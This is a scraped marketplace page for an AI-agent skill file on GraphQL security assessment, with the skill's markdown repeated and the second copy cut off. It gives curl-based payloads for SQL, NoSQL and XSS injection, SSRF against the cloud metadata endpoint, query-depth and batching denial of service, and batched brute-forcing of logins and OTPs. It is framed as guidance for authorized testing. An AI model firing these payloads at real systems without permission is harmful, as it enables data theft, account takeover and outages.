[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GPQ6PRKHPCC6P61MSR9RT":3,"skill-same:01M71GPQ6PRKHPCC6P61MSR9RT":104},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":77,"commitSha":78,"skillDirectory":79,"forksCount":14,"repositoryHtmlUrl":80,"repositoryHomepageUrl":6,"ownerHtmlUrl":81,"ownerBlogUrl":6,"ownerDescription":82,"updatedAt":83,"install":84,"resources":97},"01M71GPQ6PRKHPCC6P61MSR9RT","api-graphql-assessment-exploit",null,"Assessing GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fgraphql\u002Fassessment\u002Fexploit\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"api","api graphql assessment exploit","exploit","GraphQL","assessment","api-security","owasp","pr","web-application-security","injection","testing","Bash","read","cybersecurity","cm","de","penetration","attacks","sonnet","security","2026-11-10 10:12:30",false,"---\nname: api-graphql-assessment-exploit\ndescription: Assessing GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- graphql\n- api-security\n- owasp\n- web-security\n- introspection\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1498\ncwe:\n- CWE-200\ncapec: []\n---\n\n# Performing GraphQL Security Assessment\n\n## When to Use\n\n- During authorized penetration tests when the target application uses a GraphQL API\n- When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL\n- For evaluating mobile app backends that expose GraphQL endpoints\n- When testing microservice architectures with a GraphQL gateway or federation\n- During bug bounty programs targeting GraphQL-based APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With InQL extension for GraphQL scanning\n- **GraphQL Voyager**: Schema visualization tool\n- **InQL Scanner**: Burp extension for GraphQL introspection and query generation\n- **Altair GraphQL Client**: Desktop GraphQL client for interactive testing\n- **clairvoyance**: GraphQL schema enumeration when introspection is disabled\n- **curl**: For manual GraphQL query submission\n\n## Workflow\n\n### Step 1: Discover and Fingerprint GraphQL Endpoints\n\nLocate GraphQL endpoints and confirm GraphQL is running.\n\n```bash\n# Common GraphQL endpoint paths\nfor path in graphql graphiql playground query gql api\u002Fgraphql \\\n  v1\u002Fgraphql v2\u002Fgraphql graphql\u002Fconsole; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"query\":\"{__typename}\"}' \\\n    \"https:\u002F\u002Ftarget.example.com\u002F$path\")\n  echo \"$path: $status\"\ndone\n\n# Check for GraphQL IDEs (GraphiQL, Playground)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphiql\" | grep -i \"graphiql\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\u002Fplayground\" | grep -i \"playground\"\n\n# Fingerprint GraphQL engine\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__typename}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n# Response varies by engine: Apollo returns \"Query\", Hasura returns \"query_root\"\n\n# Check for WebSocket GraphQL subscriptions\n# ws:\u002F\u002Ftarget.example.com\u002Fgraphql (or wss:\u002F\u002F)\n```\n\n### Step 2: Perform Schema Introspection\n\nExtract the full GraphQL schema to understand the API surface.\n\n```bash\n# Full introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Comprehensive introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq . > schema.json\n\n# If introspection is disabled, use clairvoyance for schema enumeration\npython3 -m clairvoyance \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fgraphql-field-names.txt \\\n  -o discovered-schema.json\n\n# Visualize the schema using GraphQL Voyager\n# Upload schema.json to https:\u002F\u002Fgraphql-kit.com\u002Fgraphql-voyager\u002F\n```\n\n### Step 3: Test Authorization on Queries and Mutations\n\nVerify that access control is enforced at the field and object level.\n\n```bash\n# Test querying all users (should require admin)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ users { id email role passwordHash } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test accessing sensitive fields on own user\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ user(id: 1) { id email ssn creditCard internalNotes } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test mutation authorization (admin-only actions with user token)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { deleteUser(id: 2) { success } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test without any authentication\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 4: Test for Injection Vulnerabilities\n\nAssess GraphQL queries for SQL injection, NoSQL injection, and other injection types.\n\n```bash\n# SQL injection in GraphQL arguments\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ user(name: \\\"admin\\\\\\\" OR 1=1--\\\") { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# NoSQL injection (MongoDB)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(filter: {email: {$ne: \\\"\\\"}}) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for SSRF via GraphQL\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { importData(url: \\\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\\\") { result } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for stored XSS via mutations\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { updateProfile(bio: \\\"\u003Cscript>alert(1)\u003C\u002Fscript>\\\") { id bio } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# GraphQL directive injection\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 1) { email @deprecated } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 5: Test for Denial of Service Attacks\n\nAssess query complexity limits and resource consumption controls.\n\n```bash\n# Deep nesting attack (query depth)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Width attack (requesting many fields)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch query attack\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"query\":\"{ user(id:1){email} }\"},{\"query\":\"{ user(id:2){email} }\"},{\"query\":\"{ user(id:3){email} }\"},{\"query\":\"{ user(id:4){email} }\"},{\"query\":\"{ user(id:5){email} }\"}]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Fragment-based circular reference\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for unbounded pagination\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(first: 1000000) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq '.data.users | length'\n```\n\n### Step 6: Test Batching for Authentication Bypass\n\nUse query batching to brute-force credentials or bypass rate limiting.\n\n```bash\n# Batch login attempts to bypass rate limiting\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password1\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password2\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password3\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"admin123\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"letmein\\\"){token}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch OTP verification attempts\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{verifyOTP(code:\\\"000000\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000001\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000002\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000003\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000004\\\"){success}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Alias-based batching (same operation, different aliases)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"mutation { a1:login(email:\\\"admin@test.com\\\",password:\\\"pass1\\\"){token} a2:login(email:\\\"admin@test.com\\\",password:\\\"pass2\\\"){token} a3:login(email:\\\"admin@test.com\\\",password:\\\"pass3\\\"){token} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Introspection** | GraphQL feature that exposes the full schema, types, fields, and mutations |\n| **Query Depth** | The nesting level of a GraphQL query; deep queries can cause DoS |\n| **Query Complexity** | A score calculated from the cost of resolving each field in a query |\n| **Batching** | Sending multiple queries in a single HTTP request for parallel execution |\n| **Aliases** | GraphQL feature allowing the same field to be queried multiple times with different arguments |\n| **Fragments** | Reusable field selections that can cause circular references if not validated |\n| **N+1 Problem** | Unoptimized resolvers causing exponential database queries for nested fields |\n| **Field-level Authorization** | Access control applied to individual fields rather than entire types |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **InQL (Burp Extension)** | GraphQL introspection scanner and query generator for Burp Suite |\n| **GraphQL Voyager** | Interactive schema visualization tool |\n| **Altair GraphQL Client** | Desktop GraphQL IDE for crafting and testing queries |\n| **clairvoyance** | Schema enumeration when introspection is disabled |\n| **graphql-cop** | GraphQL security auditing tool (`pip install graphql-cop`) |\n| **BatchQL** | GraphQL batching attack tool for rate limit bypass |\n\n## Common Scenarios\n\n### Scenario 1: Introspection Exposes Internal Schema\nIntrospection is enabled in production, revealing internal types like `AdminSettings`, `InternalUser`, and mutations like `deleteAllUsers`. This provides a complete roadmap for further attacks.\n\n### Scenario 2: Missing Field-Level Authorization\nThe `User` type exposes `passwordHash`, `ssn`, and `internalNotes` fields. While the frontend only queries `name` and `email`, any authenticated user can request sensitive fields directly.\n\n### Scenario 3: Batch Login Bypass\nThe GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.\n\n### Scenario 4: Nested Query DoS\nA social network API allows querying `friends { friends { friends { ... } } }` up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.\n\n## Output Format\n\n```\n## GraphQL Security Assessment Report\n\n**Target**: https:\u002F\u002Ftarget.example.com\u002Fgraphql\n**Engine**: Apollo Server 4.x\n**Assessment Date**: 2024-01-15\n\n### Findings Summary\n| Finding | Severity | Status |\n|---------|----------|--------|\n| Introspection enabled in production | Medium | VULNERABLE |\n| Missing field-level authorization | High | VULNERABLE |\n| No query depth limit | High | VULNERABLE |\n| Batch query rate limit bypass | High | VULNERABLE |\n| GraphiQL IDE exposed | Low | VULNERABLE |\n| SQL injection in user query | Critical | VULNERABLE |\n| CSRF on mutations | Medium | PASS (custom header required) |\n\n### Critical: SQL Injection via user Query\n**Location**: `user(name: String)` query argument\n**Payload**: `{ user(name: \"' OR 1=1--\") { id email role } }`\n**Impact**: Full database read access via GraphQL interface\n\n### High: Batch Authentication Bypass\n**Location**: POST \u002Fgraphql (array body)\n**Payload**: Array of 100 login mutations in single request\n**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request\n\n### Recommendation\n1. Disable introspection in production environments\n2. Implement field-level authorization on all sensitive fields\n3. Set query depth limit (max 7-10 levels)\n4. Set query complexity limit and cost analysis\n5. Disable or rate-limit batch queries\n6. Remove GraphiQL\u002FPlayground from production\n7. Parameterize all database queries in resolvers\n```\n","# Performing GraphQL Security Assessment\n\n## When to Use\n\n- During authorized penetration tests when the target application uses a GraphQL API\n- When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL\n- For evaluating mobile app backends that expose GraphQL endpoints\n- When testing microservice architectures with a GraphQL gateway or federation\n- During bug bounty programs targeting GraphQL-based APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With InQL extension for GraphQL scanning\n- **GraphQL Voyager**: Schema visualization tool\n- **InQL Scanner**: Burp extension for GraphQL introspection and query generation\n- **Altair GraphQL Client**: Desktop GraphQL client for interactive testing\n- **clairvoyance**: GraphQL schema enumeration when introspection is disabled\n- **curl**: For manual GraphQL query submission\n\n## Workflow\n\n### Step 1: Discover and Fingerprint GraphQL Endpoints\n\nLocate GraphQL endpoints and confirm GraphQL is running.\n\n```bash\n# Common GraphQL endpoint paths\nfor path in graphql graphiql playground query gql api\u002Fgraphql \\\n  v1\u002Fgraphql v2\u002Fgraphql graphql\u002Fconsole; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"query\":\"{__typename}\"}' \\\n    \"https:\u002F\u002Ftarget.example.com\u002F$path\")\n  echo \"$path: $status\"\ndone\n\n# Check for GraphQL IDEs (GraphiQL, Playground)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphiql\" | grep -i \"graphiql\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\u002Fplayground\" | grep -i \"playground\"\n\n# Fingerprint GraphQL engine\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__typename}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n# Response varies by engine: Apollo returns \"Query\", Hasura returns \"query_root\"\n\n# Check for WebSocket GraphQL subscriptions\n# ws:\u002F\u002Ftarget.example.com\u002Fgraphql (or wss:\u002F\u002F)\n```\n\n### Step 2: Perform Schema Introspection\n\nExtract the full GraphQL schema to understand the API surface.\n\n```bash\n# Full introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Comprehensive introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq . > schema.json\n\n# If introspection is disabled, use clairvoyance for schema enumeration\npython3 -m clairvoyance \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fgraphql-field-names.txt \\\n  -o discovered-schema.json\n\n# Visualize the schema using GraphQL Voyager\n# Upload schema.json to https:\u002F\u002Fgraphql-kit.com\u002Fgraphql-voyager\u002F\n```\n\n### Step 3: Test Authorization on Queries and Mutations\n\nVerify that access control is enforced at the field and object level.\n\n```bash\n# Test querying all users (should require admin)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ users { id email role passwordHash } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test accessing sensitive fields on own user\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ user(id: 1) { id email ssn creditCard internalNotes } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test mutation authorization (admin-only actions with user token)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { deleteUser(id: 2) { success } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test without any authentication\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 4: Test for Injection Vulnerabilities\n\nAssess GraphQL queries for SQL injection, NoSQL injection, and other injection types.\n\n```bash\n# SQL injection in GraphQL arguments\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ user(name: \\\"admin\\\\\\\" OR 1=1--\\\") { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# NoSQL injection (MongoDB)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(filter: {email: {$ne: \\\"\\\"}}) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for SSRF via GraphQL\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { importData(url: \\\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\\\") { result } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for stored XSS via mutations\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { updateProfile(bio: \\\"\u003Cscript>alert(1)\u003C\u002Fscript>\\\") { id bio } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# GraphQL directive injection\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 1) { email @deprecated } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 5: Test for Denial of Service Attacks\n\nAssess query complexity limits and resource consumption controls.\n\n```bash\n# Deep nesting attack (query depth)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Width attack (requesting many fields)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch query attack\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"query\":\"{ user(id:1){email} }\"},{\"query\":\"{ user(id:2){email} }\"},{\"query\":\"{ user(id:3){email} }\"},{\"query\":\"{ user(id:4){email} }\"},{\"query\":\"{ user(id:5){email} }\"}]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Fragment-based circular reference\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for unbounded pagination\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(first: 1000000) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq '.data.users | length'\n```\n\n### Step 6: Test Batching for Authentication Bypass\n\nUse query batching to brute-force credentials or bypass rate limiting.\n\n```bash\n# Batch login attempts to bypass rate limiting\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password1\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password2\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password3\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"admin123\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"letmein\\\"){token}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch OTP verification attempts\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{verifyOTP(code:\\\"000000\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000001\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000002\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000003\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000004\\\"){success}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Alias-based batching (same operation, different aliases)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"mutation { a1:login(email:\\\"admin@test.com\\\",password:\\\"pass1\\\"){token} a2:login(email:\\\"admin@test.com\\\",password:\\\"pass2\\\"){token} a3:login(email:\\\"admin@test.com\\\",password:\\\"pass3\\\"){token} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Introspection** | GraphQL feature that exposes the full schema, types, fields, and mutations |\n| **Query Depth** | The nesting level of a GraphQL query; deep queries can cause DoS |\n| **Query Complexity** | A score calculated from the cost of resolving each field in a query |\n| **Batching** | Sending multiple queries in a single HTTP request for parallel execution |\n| **Aliases** | GraphQL feature allowing the same field to be queried multiple times with different arguments |\n| **Fragments** | Reusable field selections that can cause circular references if not validated |\n| **N+1 Problem** | Unoptimized resolvers causing exponential database queries for nested fields |\n| **Field-level Authorization** | Access control applied to individual fields rather than entire types |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **InQL (Burp Extension)** | GraphQL introspection scanner and query generator for Burp Suite |\n| **GraphQL Voyager** | Interactive schema visualization tool |\n| **Altair GraphQL Client** | Desktop GraphQL IDE for crafting and testing queries |\n| **clairvoyance** | Schema enumeration when introspection is disabled |\n| **graphql-cop** | GraphQL security auditing tool (`pip install graphql-cop`) |\n| **BatchQL** | GraphQL batching attack tool for rate limit bypass |\n\n## Common Scenarios\n\n### Scenario 1: Introspection Exposes Internal Schema\nIntrospection is enabled in production, revealing internal types like `AdminSettings`, `InternalUser`, and mutations like `deleteAllUsers`. This provides a complete roadmap for further attacks.\n\n### Scenario 2: Missing Field-Level Authorization\nThe `User` type exposes `passwordHash`, `ssn`, and `internalNotes` fields. While the frontend only queries `name` and `email`, any authenticated user can request sensitive fields directly.\n\n### Scenario 3: Batch Login 